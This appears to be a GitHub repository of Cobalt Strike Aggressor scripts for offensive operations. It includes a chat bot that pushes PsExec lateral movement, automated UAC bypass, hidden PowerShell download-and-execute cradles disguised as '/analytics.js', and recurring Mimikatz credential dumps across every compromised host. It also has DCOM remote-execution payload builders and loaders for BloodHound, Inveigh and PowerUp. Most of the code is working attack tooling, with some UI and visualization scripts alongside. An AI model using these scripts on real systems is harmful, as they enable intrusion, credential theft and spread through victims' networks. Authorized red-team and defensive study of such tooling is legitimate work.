├── .gitmodules ├── README.md ├── bot.cna ├── custom_defaults.cna ├── dcom_lateral_movement.cna ├── download_screenshots.cna ├── http.cna ├── powershell.cna ├── visualizations ├── logvis.cna └── vis.cna └── web.cna /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "ElevateKit"] 2 | path = ElevateKit 3 | url = https://github.com/001SPARTaN/ElevateKit 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # aggressor_scripts 2 | A collection of useful scripts for Cobalt Strike 3 | 4 | This repository will contain all the aggressor scripts that I feel are useful enough to warrant making public. 5 | 6 | **powershell.cna** is a script to import and run some commonly used Powershell tools via a Beacon menu or from the Beacon console. 7 | 8 | **bot.cna** is a little chat bot for the Cobalt Strike event log. Commands include !ping, !beacons, !listeners, !elevate, !screenshot, !downloadstring and !psexec. NOTE: This is intended to be run headless (with ./agscript). 9 | 10 | **dcom_lateral_movement.cna** is an implementation of enigma0x3's research into code execution via DCOM. 11 | https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 12 | https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ 13 | 14 | **ElevateKit** is forked from rsmudge, and I've added right click menu options for the privilege escalation techniques included in ElevateKit. 15 | -------------------------------------------------------------------------------- /bot.cna: -------------------------------------------------------------------------------- 1 | # This is a bot for Cobalt Strike! 2 | # Features: 3 | # - Welcome users to your teamserver 4 | # - Play ping pong 5 | # - List beacons by ID 6 | # - List listeners 7 | # - PsExec from the event log 8 | # - Automatically bypass UAC 9 | # - Screenshot all beacons 10 | # - Post new beacon notifications to Slack 11 | # - Run logonpasswords on specified beacons every 30 minutes 12 | 13 | global('$notify @autodump'); 14 | 15 | $notify = 0; 16 | @autodump = @(); 17 | 18 | # PsExec against $target from $bid 19 | # TODO figure out how to use with make_token 20 | sub psexecTarget { 21 | local('$bid $target $listener'); 22 | ($bid, $target, $listener) = @_; # @_ contains the arguments for the subroutine. 23 | say("Owning $target with psexec_psh."); 24 | bpsexec_psh($bid, $target, $listener); 25 | } 26 | 27 | # Attempt to bypass UAC on all non-admin shells 28 | sub elevateAll { 29 | local('$listener'); 30 | $listener = $1; 31 | 32 | # Iterate over all beacons with beacons() 33 | foreach $b (beacons()) { 34 | # Get the id field from $b 35 | $bid = $b['id']; 36 | 37 | if (!-isadmin $bid) { 38 | say("Attempting to elevate beacon $bid"); 39 | bbypassuac($bid, $listener); 40 | } 41 | sleep(1000); 42 | } 43 | } 44 | 45 | # Get PowerShell DownloadString payload 46 | sub getDownloadString { 47 | foreach $s (sites()) { 48 | # Check if the site has powershell in the description 49 | if ($s['Description'] hasmatch "powershell") { 50 | # Build URL and DownloadString 51 | $url = "https://" . $s['Host'] . $s['URI']; 52 | $downloadString = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('"; 53 | $downloadString .= $url . "'))\""; 54 | 55 | # println("Returning DownloadString: $downloadString"); 56 | say("Found Powershell DownloadString payload: \c9$downloadString\o"); 57 | return true; 58 | } 59 | else { 60 | say("No DownloadString cradle found. Try !downloadstring first."); 61 | } 62 | } 63 | return false; 64 | } 65 | 66 | # Create PowerShell DownloadString payload 67 | sub createDownloadString { 68 | local ('$listener $script $host $url'); 69 | 70 | if (-istrue getDownloadString()){ 71 | # println("DownloadString already exists!"); 72 | return; 73 | } 74 | else { 75 | $listener = $1; 76 | 77 | $host = listener_info($listener)['host']; 78 | 79 | artifact_stageless($listener, "powershell", "x86", $null, $this); 80 | yield; 81 | 82 | $script = $1; 83 | 84 | $url = site_host($host, "443", "/analytics.js", $script, "text/plain", "Scripted Web Delivery(powershell)"); 85 | $url = strrep($url, "http", "https"); 86 | 87 | $downloadString = "powershell.exe -nop -w hidden -c \"IEX ((New-Object Net.WebClient).DownloadString('"; 88 | $downloadString .= $url . "'))\""; 89 | 90 | # println("Returning DownloadString $downloadString"); 91 | say("Here's your DownloadString: \c9$downloadString\o"); 92 | } 93 | } 94 | 95 | # Get Windows version and set the Beacon note 96 | sub getVersion { 97 | local ('$bid $version $winver'); 98 | 99 | $bid = $1; 100 | $version = binfo($bid, 'ver'); 101 | 102 | if ($version eq "6.1") { 103 | $winver = "Win7 or 2008"; 104 | } 105 | else if ($version eq "6.2") { 106 | $winver = "Win8 or 2012"; 107 | } 108 | else if ($version eq "6.3") { 109 | $winver = "Win8.1 or 2012 R2"; 110 | } 111 | else if ($version eq "10.0") { 112 | $winver = "Win10 or 2016"; 113 | } 114 | else { 115 | $winver = "Unknown version"; 116 | } 117 | 118 | bnote($bid, "OS: $winver"); 119 | } 120 | 121 | # Send Slack notification on a new Beacon 122 | sub notifyBeacon { 123 | local ('$bid $bUser $bIntIP $bName $msg @cmd $url'); 124 | 125 | $bid = $1; 126 | $bUser = binfo($bid, 'user'); 127 | $bIntIP = binfo($bid, 'host'); 128 | $bName = binfo($bid, 'computer'); 129 | 130 | # Text file with Slack webhook URL 131 | $url = readln(openf("url.txt")); 132 | 133 | $msg = $bUser . "@" . $bIntIP . " (". $bName . ")"; 134 | 135 | # Codename to tag message with 136 | $codename = "CODENAME"; 137 | 138 | # Build our curl command 139 | @cmd = @('curl','-X','POST','--data-urlencode','payload={"username": "Cobalt Strike Bot", "icon_emoji": ":ghost:", "channel": "CHANNEL", "attachments" : [{ "pretext":" ' . $codename . ' - NEW BEACON:" , "text" : "' . $msg . '"}]}',$url); 140 | 141 | # Run our curl command and get the output 142 | println(readAll(exec(@cmd))); 143 | } 144 | 145 | # Add or remove beacon to autodump 146 | sub autodump { 147 | $bid = $1; 148 | add(@autodump, $bid, -1); 149 | } 150 | 151 | # Triggered on all public events in the event log 152 | on event_public { 153 | local('@input $cmd @args') 154 | if (substr($2, 0, 1) eq "!") { # If first character is !, it's a command 155 | @input = split(" ", $2); # Split incoming command on spaces 156 | $cmd = @input[0]; # Command is ! arg1 arg2... 157 | @args = sublist(@input, 1); # sublist gets everything after !cmd 158 | 159 | # Log to script console for debug purposes 160 | # println("Command received: $cmd"); 161 | # println("Arguments: " . @args); 162 | # Play ping pong 163 | if ($cmd eq "!ping") { 164 | say("pong!"); 165 | } 166 | # List all beacons by ID 167 | else if ($cmd eq "!beacons") { 168 | say ("Number of Beacons: " . size(beacons())); 169 | foreach $b (beacons()) { 170 | say("Beacon: $b['id'] on $b['computer'] as $b['user']"); 171 | } 172 | } 173 | # List all listeners 174 | else if ($cmd eq "!listeners") { 175 | foreach $l (listeners()) { 176 | say("Listener: $l"); 177 | } 178 | } 179 | # psexec to target host from beacon 180 | else if ($cmd eq "!psexec") { 181 | if (size(@args) == 3) { 182 | $bid = @args[0]; 183 | $target = @args[1]; 184 | $listener = @args[2]; 185 | 186 | # Log to script console for debug purposes 187 | # println("Beacon ID: $bid"); 188 | # println("Target: $target"); 189 | # println("Listener: $listener"); 190 | 191 | psexecTarget($bid, $target, $listener); 192 | } 193 | } 194 | # Elevate all non-admin beacons 195 | else if ($cmd eq "!elevate") { 196 | $listener = @args[0]; 197 | 198 | elevateAll($listener); 199 | } 200 | # Screenshot all beacons 201 | else if ($cmd eq "!screenshot") { 202 | foreach $b (beacons()){ 203 | bscreenshot($b['id']); 204 | sleep(1000); 205 | } 206 | } 207 | # Get DownloadString to stage Beacon 208 | else if ($cmd eq "!downloadstring") { 209 | if (!@args) { 210 | getDownloadString(); 211 | } 212 | else { 213 | $listener = @args[0]; 214 | 215 | createDownloadString($listener); 216 | } 217 | } 218 | # Run logonpasswords on all Beacons 219 | else if ($cmd eq "!mimikatz") { 220 | foreach $b (beacons()) { 221 | blogonpasswords($b['id']); 222 | sleep(1000); 223 | } 224 | } 225 | else if ($cmd eq "!notify") { 226 | if (!@args) { 227 | if ($notify == 1) { 228 | elog("Notifications: \c9ON\o"); 229 | } 230 | else { 231 | elog("Notifications: \c4OFF\o"); 232 | } 233 | } 234 | else { 235 | if (@args[0] eq "on") { 236 | $notify = 1; 237 | elog("Notifications turned \c9ON\o"); 238 | } 239 | else if (@args[0] eq "off") { 240 | $notify = 0; 241 | elog("Notifications turned \c4OFF\o"); 242 | } 243 | else { 244 | say("Please choose \c9on\o or \c4off\o"); 245 | } 246 | } 247 | } 248 | else if ($cmd eq "!r") { 249 | local ('$msg'); 250 | if (!@args) { 251 | say("Enter a note!"); 252 | } 253 | else { 254 | foreach $s (@args){ 255 | $msg = $msg . " " . $s; 256 | } 257 | elog("Operator note: $msg"); 258 | } 259 | } 260 | # Get help. 261 | else if ($cmd eq "!help") { 262 | say("Beep boop! Here are my commands:"); 263 | say("ping:\t\t\tPong!"); 264 | say("beacons:\t\t\tList all beacons."); 265 | say("listeners:\t\t\tList all listeners."); 266 | say("psexec :\tSpawn a shell on from ."); 267 | say("elevate:\t\t\tAttempt to bypass UAC on all non-admin beacons."); 268 | say("screenshot:\t\t\tAttempt to screenshot all beacons."); 269 | say("downloadstring:\t\t\tGet a Powershell DownloadString payload."); 270 | say("mimikatz:\t\t\tTask all beacons to run logonpasswords."); 271 | say("notify:\t\t\tSend notifications to Flowdock for all new Beacons."); 272 | } 273 | else if ($cmd eq "!autodump") { 274 | if (!@args) { 275 | say("Enter a beacon ID!"); 276 | } 277 | else { 278 | foreach $bid (@args) { 279 | autodump($bid); 280 | } 281 | } 282 | } 283 | } 284 | } 285 | 286 | on beacon_initial { 287 | local('$b'); 288 | global('$notify'); 289 | # If incoming beacon is admin, call it out in event log 290 | if (-isadmin $1) { 291 | # $1 for beacon_initial event is beacon ID, have to get metadata with bdata($1) 292 | $b = bdata($1); 293 | say("\c5New admin beacon: \c2" . $b['user'] . "@" . $b['computer'] . "\c5!\o"); 294 | } 295 | 296 | # Get Windows version and set Beacon note 297 | getVersion($1); 298 | 299 | # If notifications are turned on, notify when we get a new beacon 300 | if ($notify == 1) { 301 | notifyBeacon($1); 302 | } 303 | } 304 | 305 | # Log all beacon tasks to event log for situational awareness 306 | on beacon_tasked { 307 | local('$bid $hostname $user'); 308 | 309 | $bid = $1; 310 | $hostname = binfo($bid, 'computer'); 311 | $user = binfo($bid, 'user'); 312 | 313 | elog($user . "@" . $hostname . " tasked: $2"); 314 | } 315 | 316 | # Dump Mimikatz on all beacons in @autodump every 30 minutes 317 | on heartbeat_30m { 318 | foreach $bid (@autodump) { 319 | blogonpasswords($bid); 320 | } 321 | } -------------------------------------------------------------------------------- /custom_defaults.cna: -------------------------------------------------------------------------------- 1 | # Some of my defaults for Cobalt Strike. 2 | # 001SPARTaN 3 | 4 | # Keyboard shortcuts 5 | # Next tab and previous tab 6 | bind Meta+Right { 7 | nextTab(); 8 | } 9 | 10 | bind Meta+Left { 11 | previousTab(); 12 | } 13 | 14 | bind Ctrl+Tab { 15 | nextTab(); 16 | } 17 | 18 | bind Shift+Ctrl+Tab { 19 | previousTab(); 20 | } 21 | 22 | # Open the Script Console 23 | bind Shift+Ctrl+S { 24 | openScriptConsole(); 25 | } 26 | 27 | # Open the connect dialog 28 | bind Ctrl+N { 29 | openConnectDialog(); 30 | } 31 | 32 | # Load scripts 33 | include(script_resource("powershell.cna")); 34 | include(script_resource("ElevateKit/elevate.cna")); 35 | 36 | # Change default event log 37 | set EVENT_SBAR_RIGHT { 38 | # Add number of beacons to event log status bar 39 | $beacons = size(beacons()); 40 | return "[\c9Beacons: $beacons\o | lag: $1 $+ ]"; 41 | } 42 | 43 | # on beacon_initial { 44 | # if (-isadmin $1) { 45 | # exec("say -v Fiona 'New admin beacon!'"); 46 | # } 47 | #} -------------------------------------------------------------------------------- /dcom_lateral_movement.cna: -------------------------------------------------------------------------------- 1 | # Lateral movement techniques based on research by enigma0x3 (Matt Nelson) 2 | # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 3 | # https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ 4 | # Beacon implementation based on comexec.cna by Raphael Mudge 5 | # https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2 6 | 7 | # Register alias 8 | beacon_command_register ("dcom_shellexecute", "Lateral movement with DCOM (ShellExecute)", 9 | "Usage: dcom_shellexecute [target] [listener]\n\n" . 10 | "Spawn new Beacon on a target via DCOM ShellExecute Object."); 11 | 12 | # Alias for dcom_shellexecute 13 | alias dcom_shellexecute { 14 | if ($3 is $null) { 15 | # If no listener specified, allow user to choose 16 | openPayloadHelper(lambda({ 17 | dcom_shellexecute($bid, $target, $1); 18 | }, $bid => $1, $target => $2)); 19 | } 20 | else { 21 | dcom_shellexecute($1, $2, $3); 22 | } 23 | } 24 | 25 | sub dcom_shellexecute { 26 | local('$payload $cmd'); 27 | 28 | # Acknowledge task 29 | btask($1, "Tasked Beacon to run (" . listener_describe($3, $2) . ") via DCOM ShellExecute"); 30 | 31 | # Generate PowerShell one-liner for payload 32 | $payload = powershell($3, true, "x86"); 33 | $payload = strrep($payload, "powershell.exe ", ""); 34 | 35 | # Create new DCOM ShellExecute object on remote host 36 | $cmd = '[Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "'; 37 | $cmd .= $2; 38 | $cmd .= '")).Item().Document.Application.ShellExecute("powershell.exe", "'; 39 | $cmd .= $payload; 40 | $cmd .= '", "C:\Windows\System32\WindowsPowershell\v1.0",'; 41 | $cmd .= '$null,0)'; 42 | 43 | # Use beacon_host_script to generate a shorter DownloadString 44 | # payload that we can use w/ make_token 45 | $short = beacon_host_script($1, $cmd); 46 | 47 | bpowershell($1, $short); 48 | } 49 | 50 | # DCOM Outlook remote code execution. 51 | sub dcom_outlook { 52 | local('$payload $cmd'); 53 | 54 | # Acknowledge task 55 | btask($1, "Tasked Beacon to run (" . listener_describe($3, $2) . ") via DCOM Outlook"); 56 | 57 | # Generate PowerShell one-liner for payload 58 | $payload = powershell($3, true, "x86"); 59 | $payload = strrep($payload, "powershell.exe ", ""); 60 | 61 | $cmd = "[System.Activator]::CreateInstance([Type]::GetTypeFromProgID('Outlook.Application').CreateObject(\"ScriptControl\")"; 62 | 63 | # Use beacon_host_script to generate a shorter DownloadString 64 | # payload that we can use w/ make_token 65 | $short = beacon_host_script($1, $cmd); 66 | 67 | bpowershell($1, $short); 68 | } -------------------------------------------------------------------------------- /download_screenshots.cna: -------------------------------------------------------------------------------- 1 | # Grab all screenshots and download 2 | # 001SPARTaN 3 | 4 | sub getScreenshots { 5 | # Iterate through screenshots 6 | foreach %s (screenshots()) { 7 | # Each screenshot is stored as 8 | # %(data => , bid => , when => ) 9 | $bid = %s['bid']; 10 | # Pull computer name, timestamp so we can name files appropriately 11 | $computer = binfo($bid, "computer"); 12 | $timestamp = %s['when']; 13 | # Pull data so that we can write to file 14 | $data = %s['data']; 15 | 16 | # Filename is COMPUTERNAME_TIMESTAMP.jpg 17 | $fname = $computer . "_" . $timestamp . ".jpg"; 18 | # Open file for writing as $handle 19 | # Change to whatever directory you want (e.g. '>engagement/screenshots/$fname') 20 | $handle = openf(">$fname"); 21 | # Write $data to the file handle 22 | writeb($handle, $data); 23 | # Close file handle 24 | closef($handle); 25 | println("Saving screenshot: " . $fname); 26 | } 27 | } 28 | 29 | # Add item to the "Cobalt Strike" menu 30 | popup aggressor { 31 | item "Download Screenshots" { 32 | getScreenshots(); 33 | } 34 | } -------------------------------------------------------------------------------- /http.cna: -------------------------------------------------------------------------------- 1 | # http.cna 2 | # utilities for http requests from Aggressor scripts 3 | # 001SPARTaN 4 | 5 | sub http_get { 6 | local('$output'); 7 | $url = [new java.net.URL: $1]; 8 | $stream = [$url openStream]; 9 | $handle = [SleepUtils getIOHandle: $stream, $null]; 10 | 11 | @content = readAll($handle); 12 | 13 | foreach $line (@content) { 14 | $output .= $line . "\r\n"; 15 | } 16 | 17 | println($output); 18 | } 19 | 20 | http_get("https://ipinfo.io/json"); 21 | 22 | sub http_post { 23 | local('$output'); 24 | $url = [new java.net.URL: $1]; 25 | $conn = [$url openConnection]; 26 | [$conn setDoOutput: true]; 27 | $payload = "testing"; 28 | println("Payload: $payload"); 29 | println("Content-Length: " . strlen($payload)); 30 | [$conn setRequestProperty: "Content-Length", strlen($payload)]; 31 | [$conn setRequestProperty: "Content-Type", "text/plain"]; 32 | 33 | $handle = [SleepUtils getIOHandle: [$conn getInputStream], [$conn getOutputStream]]; 34 | 35 | println($handle, $payload); 36 | 37 | @content = readAll($handle); 38 | 39 | foreach $line (@content) { 40 | $output .= $line . "\r\n"; 41 | } 42 | 43 | println($output); 44 | } 45 | 46 | http_post("http://localhost/test?param=param1"); -------------------------------------------------------------------------------- /powershell.cna: -------------------------------------------------------------------------------- 1 | # This Aggressor script loads some commonly used PowerShell tools, and adds menu bindings 2 | # 001SPARTaN 3 | 4 | #### RECON 5 | 6 | ## BloodHound 7 | 8 | # Run BloodHound with default settings 9 | sub bloodhound { 10 | bpowershell_import($1, script_resource("scripts/BloodHound.ps1")); # Change path to suit 11 | bcd($1, "C:\\Temp"); 12 | bpowershell($1, "Invoke-BloodHound"); 13 | } 14 | 15 | # Collect only sessions 16 | sub bloodhoundSessionsOnly { 17 | bpowershell_import($1, script_resource("scripts/BloodHound.ps1")); 18 | bcd($1, "C:\\Temp"); 19 | bpowershell($1, "Invoke-BloodHound -CollectionMethod Session"); 20 | } 21 | 22 | # Alias to run BloodHound from Beacon quickly 23 | alias bloodhound { 24 | bloodhound($1); 25 | } 26 | 27 | # Alias to run BloodHound session collection 28 | alias bloodhound_sessions { 29 | sessionsOnly($1); 30 | } 31 | 32 | ## Inveigh 33 | 34 | # Run Invoke-Inveigh for 60 minutes 35 | sub inveigh { 36 | local('$bid'); 37 | $bid = $1; 38 | bpowershell_import($bid, script_resource("scripts/Inveigh.ps1")); 39 | bcd($bid, "C:\\Temp"); 40 | bpowershell($bid, "Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -RunTime 60"); 41 | } 42 | 43 | alias inveigh { 44 | inveigh($1); 45 | } 46 | 47 | sub sessionGopher { 48 | local('$bid'); 49 | $bid = $1; 50 | bpowershell_import($bid, script_resource("scripts/SessionGopher.ps1")); 51 | bcd($bid, "C:\\Temp"); 52 | bpowershell($bid, "Invoke-SessionGopher -o"); 53 | } 54 | 55 | alias session_gopher { 56 | session_gopher($1); 57 | } 58 | 59 | #### PRIVESC 60 | # Run PowerUp Invoke-AllChecks 61 | sub powerup { 62 | bpowershell_import($1, script_resource("scripts/PowerUp.ps1")); 63 | bpowershell($1, "Invoke-AllChecks"); 64 | } 65 | 66 | alias powerup { 67 | powerup($1); 68 | } 69 | 70 | # Add bindings to Beacon menu 71 | popup beacon_bottom { 72 | menu "P&owershell" { 73 | menu "&Recon" { 74 | item "BloodHound" { 75 | local('$bid'); 76 | foreach $bid ($1) { 77 | bloodhound ($bid); 78 | } 79 | } 80 | item "BloodHound (Sessions)" { 81 | local('$bid'); 82 | foreach $bid ($1) { 83 | bloodhoundSessionsOnly($bid); 84 | } 85 | } 86 | separator(); 87 | item "Inveigh" { 88 | local('$bid'); 89 | foreach $bid ($1) { 90 | inveigh($bid); 91 | } 92 | } 93 | separator(); 94 | item "SessionGopher" { 95 | local ('$bid'); 96 | foreach $bid ($1) { 97 | sessionGopher($bid) 98 | } 99 | } 100 | } 101 | menu "&PrivEsc" { 102 | item "PowerUp" { 103 | local ('$bid'); 104 | foreach $bid ($1) { 105 | powerup($bid); 106 | } 107 | } 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /visualizations/logvis.cna: -------------------------------------------------------------------------------- 1 | # Beacon Log visualization 2 | # 001SPARTaN (for r3dqu1nn) 3 | 4 | import ui.*; 5 | import table.*; 6 | 7 | import java.awt.*; 8 | import javax.swing.*; 9 | import javax.swing.table.*; 10 | 11 | global('$model $console $table'); 12 | 13 | sub updateTable { 14 | fork({ 15 | local('$entry'); 16 | 17 | # Clear the model so we can put new stuff in it. 18 | [$model clear: 1024]; 19 | 20 | # For each entry in beaconlog, populate a row in the table 21 | foreach @entry (data_query('beaconlog')) { 22 | # We only care about beacon_input events because those are commands run by operators 23 | if (@entry[0] eq "beacon_input") { 24 | # Get operator who ran the command 25 | %modelEntry['operator'] = @entry[2]; 26 | # Get bid of command 27 | $bid = @entry[1]; 28 | # Get internal IP of system 29 | %modelEntry['ip'] = binfo($bid, "internal"); 30 | # Get hostname of system 31 | %modelEntry['hostname'] = binfo($bid, "computer"); 32 | # Get username beacon is runnning as 33 | %modelEntry['user'] = binfo($bid, "user"); 34 | # Get pid of beacon 35 | %modelEntry['pid'] = binfo($bid, "pid"); 36 | # Get command run on the beacon 37 | %modelEntry['command'] = @entry[3]; 38 | # Get timestamp of command 39 | %modelEntry['timestamp'] = formatDate(@entry[4], "MMM dd HH:mm:ss z"); 40 | # Add the new entry to $model 41 | [$model addEntry: %modelEntry]; 42 | } 43 | } 44 | # Update with the new table 45 | [$model fireListeners]; 46 | }, \$model); 47 | } 48 | 49 | # based on setupPopupMenu provided by Raphael Mudge 50 | # https://gist.github.com/rsmudge/87ce80cd8d8d185c5870d559af2dc0c2 51 | sub setupClickListener { 52 | # we're using fork({}) to run this in a separate Aggressor Script environment. 53 | # This reduces deadlock potential due to Sleep's global interpreter lock 54 | # this especially matters as our mouse listener will be fired for *everything* 55 | # to include mouse movements. 56 | fork({ 57 | [$component addMouseListener: lambda({ 58 | if ([$1 isPopupTrigger]) { 59 | # If right click, show popup 60 | show_popup($1, $name, $component); 61 | } 62 | else if ([$1 getClickCount] == 2) { 63 | foreach $row ([$table getSelectedRows]) { 64 | # Compare pid from selected row to pid of all beacons to find correct beacon 65 | foreach %beacon (beacons()) { 66 | if (%beacon['pid'] eq [$model getValueAt: $row, 4]) { 67 | openOrActivate(%beacon['id']); 68 | } 69 | } 70 | } 71 | } 72 | }, \$component, \$name)]; 73 | }, $component => $1, $name => $2, $model => $model, $table => $table); 74 | } 75 | 76 | sub createVisualization { 77 | this('$client'); 78 | # GenericTableModel from table.* 79 | # Has columns for email and token, defaults to sorting by token 80 | $model = [new GenericTableModel: @("operator", "ip", "hostname", "user", "pid", "command", "timestamp"), "beacon", 16]; 81 | 82 | # Create a table from the GenericTableModel 83 | $table = [new ATable: $model]; 84 | 85 | # Controls how the column headers will sort the table 86 | $sorter = [new TableRowSorter: $model]; 87 | [$sorter toggleSortOrder: 3]; 88 | # setComparator for email 89 | [$sorter setComparator: 0, { 90 | return $1 cmp $2; 91 | }]; 92 | # setComparator for token 93 | [$sorter setComparator: 1, { 94 | return $1 cmp $2; 95 | }]; 96 | # setComparator for timestamp 97 | [$sorter setComparator: 2, { 98 | return $1 cmp $2; 99 | }]; 100 | # setComparator for click count 101 | [$sorter setComparator: 3, { 102 | return $1 <=> $2; 103 | }]; 104 | 105 | # Set $sorter as the row sorter for $table 106 | [$table setRowSorter: $sorter]; 107 | 108 | # Change resize mode for columns to make the layout a bit nicer. 109 | # [$table setAutoResizeMode: [JTable AUTO_RESIZE_ON]]; 110 | 111 | # Create a scroll pane 112 | $scrollPane = [new JScrollPane: $table]; 113 | 114 | $bottom = [new JPanel]; 115 | [$bottom setLayout: [new BoxLayout: $bottom, [BoxLayout Y_AXIS]]]; 116 | [$bottom setLayout: [new GridLayout: 1, 1]]; 117 | 118 | $copyButton = [new JButton: "Copy"]; 119 | 120 | [$copyButton addActionListener: lambda({ 121 | println("Copy action captured!"); 122 | $selected = ""; 123 | foreach $row ([$table getSelectedRows]) { 124 | # Get values from table 125 | # operator [ip_hostname] user/proc | timestamp> command 126 | $operator = [$table getValueAt: $row, 0]; 127 | $ip = [$table getValueAt: $row, 1]; 128 | $hostname = [$table getValueAt: $row, 2]; 129 | $user = [$table getValueAt: $row, 3]; 130 | $proc = [$table getValueAt: $row, 4]; 131 | $time = [$table getValueAt: $row, 6]; 132 | $command = [$table getValueAt: $row, 5]; 133 | 134 | $selected .= "$operator \[$ip\_$hostname\] $user\/$proc | $time\> $command\n"; 135 | } 136 | add_to_clipboard($selected); 137 | }, \$table)]; 138 | 139 | [$bottom add: $copyButton]; 140 | 141 | $content = [new JPanel]; 142 | [$content setLayout: [new BorderLayout]]; 143 | 144 | [$content add: $scrollPane, [BorderLayout CENTER]]; 145 | [$content add: $bottom, [BorderLayout SOUTH]]; 146 | 147 | # Set popup menu for the table 148 | setupClickListener($table, "command_log"); 149 | 150 | # Update table contents 151 | updateTable(); 152 | 153 | # Return the JScrollPane 154 | return $scrollPane; 155 | } 156 | 157 | popup command_log { 158 | item "Copy" { 159 | # Copy log entry to clipboard 160 | println("Right click captured!"); 161 | $selected = ""; 162 | foreach $row ([$table getSelectedRows]) { 163 | # Get values from table 164 | # operator [ip_hostname] user/proc | timestamp> command 165 | $operator = [$table getValueAt: $row, 0]; 166 | $ip = [$table getValueAt: $row, 1]; 167 | $hostname = [$table getValueAt: $row, 2]; 168 | $user = [$table getValueAt: $row, 3]; 169 | $proc = [$table getValueAt: $row, 4]; 170 | $time = [$table getValueAt: $row, 6]; 171 | $command = [$table getValueAt: $row, 5]; 172 | 173 | $selected .= "$operator \[$ip\_$hostname\] $user\/$proc | $time\> $command\n"; 174 | } 175 | add_to_clipboard($selected); 176 | } 177 | item "Beacon console" { 178 | # Open corresponding beacon console 179 | $selected = ""; 180 | foreach $row ([$table getSelectedRows]) { 181 | # Compare pid from selected row to pid of all beacons to find correct beacon 182 | foreach %beacon (beacons()) { 183 | if (%beacon['pid'] eq [$table getValueAt: $row, 4]) { 184 | openBeaconConsole(%beacon['id']); 185 | } 186 | } 187 | } 188 | } 189 | } 190 | 191 | popup view { 192 | item "Command Log" { 193 | # Add a tab with the table 194 | $tab = createVisualization(); 195 | addTab("Command Log", $tab, "A table of commands that have been run on all beacons."); 196 | } 197 | } 198 | 199 | on beacon_input { 200 | updateTable(); 201 | } 202 | -------------------------------------------------------------------------------- /visualizations/vis.cna: -------------------------------------------------------------------------------- 1 | # vis.cna 2 | # Experimenting with custom visualizations in Aggressor Script 3 | # Doesn't really do much right now 4 | # @001SPARTaN 5 | 6 | import java.awt.*; 7 | import java.awt.event.*; 8 | import javax.swing.*; 9 | import javax.swing.event.*; 10 | import javax.swing.table.*; 11 | 12 | import ui.*; 13 | import table.*; 14 | 15 | 16 | global('$model $console'); 17 | 18 | sub updateHosts { 19 | fork({ 20 | local('$entry'); 21 | 22 | # Clear the model so we can put new stuff in it. 23 | [$model clear: 256]; 24 | 25 | foreach $b (beacons()) { 26 | %entry["user"] = $b['user']; 27 | %entry["host"] = $b['computer']; 28 | %entry["bid"] = $b['id']; 29 | # Add the new entry to $model 30 | [$model addEntry: %entry]; 31 | } 32 | # Update with the new table 33 | [$model fireListeners]; 34 | }, \$model); 35 | } 36 | 37 | sub updateConsole { 38 | $msg = $1; 39 | # Append our message to $console 40 | [$console append: $msg]; 41 | } 42 | 43 | sub createVisualization { 44 | # GenericTableModel from table.* 45 | $model = [new GenericTableModel: @("user", "host", "bid"), "bid", 16]; 46 | 47 | # Create a table from the GenericTableModel 48 | $table = [new ATable: $model]; 49 | 50 | # Controls how the column headers will sort the table 51 | $sorter = [new TableRowSorter: $model]; 52 | [$sorter toggleSortOrder: 0]; 53 | # We have to use cmp for comparing user, because it's a text string 54 | [$sorter setComparator: 0, { 55 | return $1 cmp $2; 56 | }]; 57 | # Builtin compareHosts function allows us to sort by host 58 | [$sorter setComparator: 1, &compareHosts]; 59 | # <=> works fine to compare bid, because they're just numbers 60 | [$sorter setComparator: 2, { 61 | return $1 <=> $2; 62 | }]; 63 | 64 | # Set $sorter as the row sorter for $table 65 | [$table setRowSorter: $sorter]; 66 | 67 | # console.Display from ui.* 68 | # Because it looks better than a boring text area 69 | $console = [new console.Display]; 70 | 71 | # Create a split pane (divider you can drag around) 72 | $content = [new JSplitPane: [JSplitPane HORIZONTAL_SPLIT], [new JScrollPane: $table], $console]; 73 | 74 | # Make spacing look nice by adjusting the split location 75 | [$content setDividerLocation: 450]; 76 | 77 | updateHosts(); 78 | 79 | # Register the visualization with CS 80 | addVisualization("Custom", $content); 81 | } 82 | 83 | createVisualization(); 84 | 85 | on beacon_initial { 86 | updateHosts(); 87 | $user = beacon_info($1, "user"); 88 | $host = beacon_info($1, "computer"); 89 | updateConsole("[BEACON] - ID: \c3$1\c\n"); 90 | updateConsole("[BEACON] - USER: \c3$user\c\n"); 91 | } 92 | 93 | on web_hit { 94 | updateConsole("[WEB] - Source: \c4$3\c\n"); 95 | } 96 | 97 | # Add an item to the View menu to show our new visualization 98 | popup view { 99 | item "Custom" { 100 | # Show the visualization 101 | showVisualization("Custom"); 102 | } 103 | } -------------------------------------------------------------------------------- /web.cna: -------------------------------------------------------------------------------- 1 | # web.cna 2 | 3 | $template = ""; 4 | 5 | sub loadTemplate { 6 | $handle = openf(script_resource("test.html")); 7 | @array = readAll($handle); 8 | closef($handle); 9 | 10 | foreach $line (@array) { 11 | println($line); 12 | $template .= $line . "\n"; 13 | } 14 | 15 | println("Loaded template."); 16 | } 17 | 18 | sub hostPage { 19 | $page = $template; 20 | %replace = %( 21 | TEST => "Whee!", 22 | asdf => "Bleh" 23 | ); 24 | 25 | foreach $key (keys(%replace)) { 26 | $value = %replace["$key"]; 27 | println("Replacing $key with $value"); 28 | $page = replace($page, "##$key\#\#", $value); 29 | } 30 | 31 | site_kill(80, "/test"); 32 | site_host(localip(), 80, "/test", $page, "text/html", "Testing", false); 33 | } 34 | 35 | loadTemplate(); 36 | hostPage(); --------------------------------------------------------------------------------